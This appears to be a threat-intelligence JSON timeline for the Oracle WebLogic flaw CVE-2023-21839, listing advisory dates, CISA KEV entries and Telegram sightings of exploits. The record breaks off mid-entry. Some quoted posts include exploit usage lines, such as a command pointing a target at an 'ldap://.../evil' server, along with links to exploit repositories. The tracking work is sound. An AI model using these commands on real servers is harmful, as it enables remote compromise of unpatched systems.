{"metadata": {"vulnerability": "CVE-2023-21839", "count": 126, "kinds": {"milestone": 7, "sighting": 84, "kev": 11, "other": 24}}, "data": [{"timestamp": "2022-12-17T19:26:00.690Z", "date_only": false, "value": "2022-12-17T19:26:00.690Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2023-21839", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "vulnerabilities.34.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-17T23:35:09.774Z", "date_only": false, "value": "2023-01-17T23:35:09.774Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-21839", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-18T00:00:00Z", "date_only": false, "value": "2023-01-18T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2023-AVI-0034", "record": "CERTFR-2023-AVI-0034", "field": "revisions.0.revision_date"}, {"timestamp": "2023-01-18T00:00:00Z", "date_only": true, "value": "2023-01-18", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2023-04389", "record": "CNVD-2023-04389", "field": "submitTime"}, {"timestamp": "2023-01-18T00:15:00Z", "date_only": false, "value": "2023-01-18T00:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-F8X3-C29W-WFMJ", "record": "GHSA-F8X3-C29W-WFMJ", "field": "database_specific.nvd_published_at"}, {"timestamp": "2023-01-18T00:15:00Z", "date_only": false, "value": "2023-01-18T00:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2023-21839", "record": "GSD-2023-21839", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2023-01-18T00:15:13.450Z", "date_only": false, "value": "2023-01-18T00:15:13.450", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-21839", "record": "FKIE_CVE-2023-21839", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-18T00:30:17Z", "date_only": false, "value": "2023-01-18T00:30:17Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-F8X3-C29W-WFMJ", "record": "GHSA-F8X3-C29W-WFMJ", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-19T00:00:00Z", "date_only": true, "value": "2023-01-19", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2023-04389", "record": "CNVD-2023-04389", "field": "openTime"}, {"timestamp": "2023-01-29T15:43:57Z", "date_only": false, "value": "2023-01-29T15:43:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3716", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "17434e60-2c46-422c-8694-105cba6abf72", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839 exp\nURL\uff1ahttps://github.com/fakenews2025/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3716", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-22T06:20:02Z", "date_only": false, "value": "2023-02-22T06:20:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/rtIvSzND_cGJDjAmNbpFbRjMYLO0j4LkJOjAcfYVbCa7YVw", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "67128378-376d-4c34-beca-be47d1044c8b", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-22T08:16:14Z", "date_only": false, "value": "2023-02-22T08:16:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/1396", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "52cd36d9-b9aa-499e-9341-598e90020bd9", "content": "Weblogic-CVE-2023-21839\n*\nAffected version\n12.2.1.3.0\n12.2.1.4.0\n14.1.1.0.0\n\nPOC\n\nUsage POC:\njava -jar target ip: \u0430\u0434\u0440\u0435\u0441 \u043f\u043e\u0440\u0442\u0430 ldap", "url": "https://t.me/proxy_bar/1396", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-22T10:12:27Z", "date_only": false, "value": "2023-02-22T10:12:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/E2GnXuDb4RwZPSkCQd23ewMo-H7lFJl9luVffYlNtma6JKU", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "203504d1-250b-4500-ac02-b65267788a6a", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-22T11:32:01Z", "date_only": false, "value": "2023-02-22T11:32:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/460", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "b3a50510-435a-4a6f-9468-9c2a3746d73c", "content": "https://github.com/Scarehehe/Weblogic-CVE-2023-21839\n#github", "url": "https://t.me/CNArsenal/460", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-23T11:23:01Z", "date_only": false, "value": "2023-02-23T11:23:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/7807", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "a8b8b437-4357-4800-834b-1b68c621d0f8", "content": "#exploit\n1. CVE-2022-41042:\nHTML/JavaScript injection in MS SARIF viewer/MS Live Preview extension, Path traversal in the local HTTP server in MS Live Preview extension\nhttps://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability\n\n2. CVE-2023-21839:\nVulnerability in the Oracle WebLogic Server\nhttps://github.com/Scarehehe/Weblogic-CVE-2023-21839", "url": "https://t.me/CyberSecurityTechnologies/7807", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-23T14:13:17Z", "date_only": false, "value": "2023-02-23T14:13:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/huwbgAbaMEWosXfyrmxxciyHWQADSO7pn6QM2fwvuRZxHT8", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "82ac3180-2b33-4517-a8c4-f8a87e7b3758", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-25T16:58:59Z", "date_only": false, "value": "2023-02-25T16:58:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3830", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "a3a87f74-1a7d-46fd-a33b-fc1b82d5a6ac", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/4ra1n/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3830", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-02-26T12:28:03Z", "date_only": false, "value": "2023-02-26T12:28:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/aZv6MAkPy0Zg9M5eswpBgPGNLziNK_Z6couQG8utTPmkEhE", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "ca991a44-406a-41f5-93ca-ccd40200dcf6", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-03T11:00:15Z", "date_only": false, "value": "2023-03-03T11:00:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poxek/2754", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "7d185609-5846-4556-9259-2e00f645d3ae", "content": "Weblogic CVE-2023-21839 RCE\n\nLinux/Mac OS\n cmd\ngo build -o CVE-2023-21839\n./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil\n\nWindows\n cmd\ngo build -o CVE-2023-21839.exe\nCVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil", "url": "https://t.me/poxek/2754", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-05T09:27:29Z", "date_only": false, "value": "2023-03-05T09:27:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/2611", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "69346d6c-5518-4df1-aea6-78485fa3ff8f", "content": "#CVE-2023\nPOC and Scanner for CVE-2023-24055\nhttps://github.com/deetl/CVE-2023-24055\n\n\nCVE-2023-21839 exp\n\nhttps://github.com/fakenews2025/CVE-2023-21839\n\nCVE-2023-23132\n\nhttps://github.com/l00neyhacker/CVE-2023-23132\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/2611", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-06T11:23:41Z", "date_only": false, "value": "2023-03-06T11:23:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/true_secator/4133", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "fe408486-380e-44d7-bd67-2de97fc88d5b", "content": "\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c 4ra1n \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b PoC\u00a0\u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-21839, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Oracle WebLogic \u0438 \u0438\u043c\u0435\u044e\u0449\u0435\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 7,5.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Oracle WebLogic Server \u0434\u043b\u044f Oracle Fusion Middleware \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044f\u0434\u0440\u0430 \u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u0438 12.2.1.3.0, 12.2.1.4.0 \u0438 14.1.1.0.0.\n\n\u041b\u0435\u0433\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0441\u0435\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 T3, IIOP, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c Oracle WebLogic Server.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a\u043e \u0432\u0441\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c Oracle WebLogic Server.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 Oracle 24 \u044f\u043d\u0432\u0430\u0440\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0437\u0430\u0431\u043e\u0442\u0438\u0442\u044c\u0441\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u043a\u0443\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0438\u0441\u043a\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.", "url": "https://t.me/true_secator/4133", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-11T08:31:12Z", "date_only": false, "value": "2023-03-11T08:31:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3923", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "7451fa57-2375-491a-80ce-f33e7e99283f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839\u5de5\u5177\nURL\uff1ahttps://github.com/Firebasky/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3923", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-14T04:09:39Z", "date_only": false, "value": "2023-03-14T04:09:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/cFE2uDJKQiKElmO3_7KlSaQHLf9u2iA0iIuDt9gRXSoyrPs", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1642e101-f85d-4082-9339-247380d2eef2", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-04-14T05:35:06Z", "date_only": false, "value": "2023-04-14T05:35:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZWO6bVGmvRomAIGB1Gy9nQK9S9lVg_M5eyQCvJuH67nXwuk", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "28b1f678-ff79-4bf3-a8a8-ba4594a4e821", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-04-21T08:09:35Z", "date_only": false, "value": "2023-04-21T08:09:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/4229", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "265690f7-afff-4e3e-9f6b-66b8e29d030d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839 Python\u7248\u672c\nURL\uff1ahttps://github.com/houqe/POC_CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/4229", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "d6227f8e-5d15-4d29-a64d-fdf265377a9e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": true, "value": "2023-05-01", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-21839", "field": "containers.adp.1.metrics.1.other.content.dateAdded"}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2023-21839", "field": "evidence.0.details.added_date", "uuid": "d6227f8e-5d15-4d29-a64d-fdf265377a9e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": true, "value": "2023-05-01", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "evidence.0.details.date_added", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2023-21839", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "d6227f8e-5d15-4d29-a64d-fdf265377a9e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "status.status_updated_at", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2023-21839", "field": "status.status_updated_at", "uuid": "d6227f8e-5d15-4d29-a64d-fdf265377a9e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-21839", "field": "containers.adp.1.timeline.0.time"}, {"timestamp": "2023-05-01T22:00:00Z", "date_only": false, "value": "2023-05-01T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2023-05-01T22:00:00Z", "date_only": false, "value": "2023-05-01T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.current_release_date"}, {"timestamp": "2023-05-02T07:47:51Z", "date_only": false, "value": "2023-05-02T07:47:51.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/3303", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1662922a-c21b-4f05-9680-c94dd2676580", "content": "Heads up, everyone! \n \nCISA has issued an advisory warning of active exploitation of three known vulnerabilities, including CVE-2023-1389 (TP-Link Archer AX-21), CVE-2021-45046 (Apache Log4j2) and CVE-2023-21839 (Oracle WebLogic). \n \nDetails: https://thehackernews.com/2023/05/active-exploitation-of-tp-link-apache.html", "url": "https://t.me/thehackernews/3303", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-02T13:24:04Z", "date_only": false, "value": "2023-05-02T13:24:04.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/49839", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "4e1a6ba2-2cab-4778-8737-97714158c488", "content": "CISA Warns of Attacks Exploiting Oracle WebLogic Vulnerability Patched in January\nhttps://www.securityweek.com/cisa-warns-of-attacks-exploiting-oracle-weblogic-vulnerability-patched-in-january/\n\nCISA warns of attacks exploiting an Oracle WebLogic vulnerability tracked as CVE-2023-21839, which was patched with the January 2023 CPU.\nThe post CISA Warns of Attacks Exploiting Oracle WebLogic Vulnerability Patched in January (https://www.securityweek.com/cisa-warns-of-attacks-exploiting-oracle-weblogic-vulnerability-patched-in-january/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/49839", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-20T00:26:05Z", "date_only": false, "value": "2023-05-20T00:26:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/4713", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "50380bd0-0c85-46a4-acb0-22b3c7ab4c67", "content": "Weblogic-CVE-2023-21839\n\n\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 :\n\n12.2.1.3.0\n\n12.2.1.4.0\n\n14.1.1.0.0\n\nGithub\n\nUsage : \n\njava -jar target ip: port ldap address\n\n#CVE \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/4713", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-20T00:26:07Z", "date_only": false, "value": "2023-05-20T00:26:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/4765", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bbc3fc63-0f67-40f0-a067-efad5903a04b", "content": "Weblogic CVE-2023-21839 RCE\n\nGithub\n\n#CVE #RCE\n\u2014\u2014\u2014\u2014\u2014\u2014\u2067\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/4765", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-22T00:00:00Z", "date_only": true, "value": "2023-05-22", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "evidence.0.details.due_date", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-06-09T19:18:50Z", "date_only": false, "value": "2023-06-09T19:18:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c5f70c97-0166-4847-bc5c-fcd87d78993e", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb"}, {"timestamp": "2023-06-12T06:07:13.838Z", "date_only": false, "value": "2023-06-12T06:07:13.838Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / oracle", "record": "CVE-2023-21839", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-06-12T07:16:00Z", "date_only": false, "value": "2023-06-12T07:16Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2023-21839", "record": "GSD-2023-21839", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "9a3fd3bf-0261-49e6-a2e3-6918e66dbe0f"}, {"timestamp": "2023-07-06T16:19:06Z", "date_only": false, "value": "2023-07-06T16:19:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/YE_0x/770", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "6619acd4-e84d-449d-b14b-2fb86953a674", "content": "\u0623\u0636\u0627\u0641\u062a \u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0648\u0623\u0645\u0646 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a\u0629 (CISA) \u062b\u0644\u0627\u062b\u0629 \u0639\u064a\u0648\u0628 \u0625\u0644\u0649 \u0643\u062a\u0627\u0644\u0648\u062c \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u063a\u0644\u0629 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 (KEV) \u060c \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u062f\u0644\u064a\u0644 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0646\u0634\u0637.\n\nCVE-2023-1389 (CVSS score: 8.8) - TP-Link Archer AX-21 Command Injection Vulnerability\nCVE-2021-45046 (CVSS score: 9.0) - Apache Log4j2 Deserialization of Untrusted Data Vulnerability\nCVE-2023-21839 (CVSS score: 7.5) - Oracle WebLogic Server Unspecified Vulnerability\n\n\ud83d\udea8 ===============\n\ud83d\udd30 #0xYE\n\ud83d\udd30 #Cyber_Security\n\ud83d\udd30 #Yemeni_Hackers \n\ud83d\udd30 @YE_0x\n\ud83d\udea8===============", "url": "https://t.me/YE_0x/770"}, {"timestamp": "2023-08-29T10:43:00Z", "date_only": false, "value": "2023-08-29T10:43:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/breachdetector/325905", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "e626fc89-3db0-4f70-9489-f2b81e70543d", "content": "{\n  \"Source\": \"https://www.turkhackteam.org/\",\n  \"Content\": \"CVE-2023-21839 Oracle WebLogic Nedir ?\", \n  \"author\": \" ('BARBAROS)\",\n  \"Detection Date\": \"29 Aug 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "url": "https://t.me/breachdetector/325905"}, {"timestamp": "2023-11-24T22:48:52Z", "date_only": false, "value": "2023-11-24T22:48:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/547", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "7d3891d0-d205-4318-b711-3f2cb7f43955", "content": "#ExploitObserverAlert\n\nCVE-2023-21839\n\nDESCRIPTION: Exploit Observer has 57 entries related to CVE-2023-21839. Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nFIRST-EPSS: 0.956630000\nNVD-IS: 3.6\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/547"}, {"timestamp": "2023-12-03T13:47:08Z", "date_only": false, "value": 